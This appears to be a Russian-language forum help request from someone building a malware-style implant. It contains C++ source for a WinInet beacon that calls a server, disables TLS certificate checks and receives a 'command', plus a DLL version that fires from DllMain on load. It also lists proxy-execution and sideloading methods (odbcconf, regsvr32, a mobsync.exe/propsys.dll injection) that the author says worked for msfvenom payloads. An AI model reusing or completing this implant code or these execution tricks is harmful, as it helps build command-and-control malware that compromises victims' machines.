Всем доброго времени суток!
Пытаюсь сделать в своём творении отстук через wininet до сервера. Когда собираю билд как исполняемый файл, всё изумительно отрабатывает.
Дальше делаю проект под dll с таким кодом:
Компилируется такое без проблем. Запускать пытаюсь несколькими способами (команды из папки где лежит дллка):
Даже пробовал инжект, который раньше отрабатывал на других дллках (в том числе сделаных из msfvenom):
При запуске до сервака коннект не долетает. Сообщение на экран не выскакивает. В командной строке как будто команда завершается.
В case DLL_PROCESS_ATTACH: коментил все строки кроме:
Тогда мессага вываливается на экран.
Подскажите что делаю не так?
Пытаюсь сделать в своём творении отстук через wininet до сервера. Когда собираю билд как исполняемый файл, всё изумительно отрабатывает.
C++:
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string>
#pragma comment (lib, "Wininet.lib")
char* send_to_serv(const char* host, const char* data_for_send, int& err) {
DWORD dwFileSize = BUFSIZ;
char* buffer = new char[dwFileSize + 1];
HINTERNET hSession = InternetOpen(
L"Mozilla/5.0",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0);
HINTERNET hConnect = InternetConnectA(
hSession,
//"www.google.com"
//L"192.168.0.104",
host,
INTERNET_DEFAULT_HTTPS_PORT, // THIS
"",
"",
INTERNET_SERVICE_HTTP,
0,
0);
HINTERNET hHttpFile = HttpOpenRequestA(
hConnect,
"GET",
data_for_send,
NULL,
NULL,
NULL,
INTERNET_FLAG_SECURE, // THIS
0);
DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
//while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
printf("HttpSendRequest error : (%lu)\n", GetLastError());
InternetErrorDlg(
GetDesktopWindow(),
hHttpFile,
ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
NULL);
err = -1;
}
else
{
while (true) {
DWORD dwBytesRead;
BOOL bRead;
bRead = InternetReadFile(
hHttpFile,
buffer,
dwFileSize + 1,
&dwBytesRead);
if (dwBytesRead == 0) {
break;
}
if (!bRead) {
printf("InternetReadFile error : <%lu>\n", GetLastError());
err = -1;
break;
}
else {
buffer[dwBytesRead] = 0;
}
}
}
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
if (err == -1) {
//buffer[0] = '-';
buffer[0] = '1';
}
return buffer;
}
int main()
{
std::string host = "192.168.0.106"; // адрес сервера
std::string endpoint = "/url_connect"; // куда конектимся на серваке
std::string value_1 = "id"; // обозначение первого параметра отправляемого серверу
std::string value_2 = "info"; // обозначение второго параметра отправляемого серверу
std::string data_for_server; // данные для сервера
int error_read_cmd; // статус ошибки
std::string command; // команда от сервера
data_for_server = endpoint + "?" + value_1 + "=777&" + value_2 + "=100";
command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);
if (error_read_cmd != -1) {
MessageBox(NULL, L"command received", L"Message", S_OK);
}
else {
MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
}
}
Дальше делаю проект под dll с таким кодом:
C++:
#include "pch.h"
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string>
#pragma comment (lib, "Wininet.lib")
char* send_to_serv(const char* host, const char* data_for_send, int& err) {
DWORD dwFileSize = BUFSIZ;
char* buffer = new char[dwFileSize + 1];
HINTERNET hSession = InternetOpen(
L"Mozilla/5.0",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0);
HINTERNET hConnect = InternetConnectA(
hSession,
//"www.google.com",
//L"192.168.0.104",
host,
INTERNET_DEFAULT_HTTPS_PORT, // THIS
"",
"",
INTERNET_SERVICE_HTTP,
0,
0);
HINTERNET hHttpFile = HttpOpenRequestA(
hConnect,
"GET",
data_for_send,
NULL,
NULL,
NULL,
INTERNET_FLAG_SECURE, // THIS
0);
DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
//while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
printf("HttpSendRequest error : (%lu)\n", GetLastError());
InternetErrorDlg(
GetDesktopWindow(),
hHttpFile,
ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
NULL);
err = -1;
}
else
{
while (true) {
DWORD dwBytesRead;
BOOL bRead;
bRead = InternetReadFile(
hHttpFile,
buffer,
dwFileSize + 1,
&dwBytesRead);
if (dwBytesRead == 0) {
break;
}
if (!bRead) {
printf("InternetReadFile error : <%lu>\n", GetLastError());
err = -1;
break;
}
else {
buffer[dwBytesRead] = 0;
}
}
}
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
if (err == -1) {
//buffer[0] = '-';
buffer[0] = '1';
}
return buffer;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
std::string host = "192.168.0.106"; // адрес сервера
std::string endpoint = "/url_connect"; // куда конектимся на серваке
std::string value_1 = "id"; // обозначение первого параметра отправляемого серверу
std::string value_2 = "info"; // обозначение второго параметра отправляемого серверу
std::string data_for_server; // данные для сервера
int error_read_cmd; // статус ошибки
std::string command; // команда от сервера
data_for_server = endpoint + "?" + value_1 + "=777&" + value_2 + "=100";
command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);
if (error_read_cmd != -1) {
MessageBox(NULL, L"command received", L"Message", S_OK);
}
else {
MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Компилируется такое без проблем. Запускать пытаюсь несколькими способами (команды из папки где лежит дллка):
Код:
odbcconf /a {REGSVR wininet_dll.dll}
regsvr32 wininet_dll.dll
Даже пробовал инжект, который раньше отрабатывал на других дллках (в том числе сделаных из msfvenom):
Код:
mobsync.exe ➡️ propsys.dll
При запуске до сервака коннект не долетает. Сообщение на экран не выскакивает. В командной строке как будто команда завершается.
В case DLL_PROCESS_ATTACH: коментил все строки кроме:
Код:
MessageBox(NULL, L"command received", L"Message", S_OK);
Тогда мессага вываливается на экран.
Подскажите что делаю не так?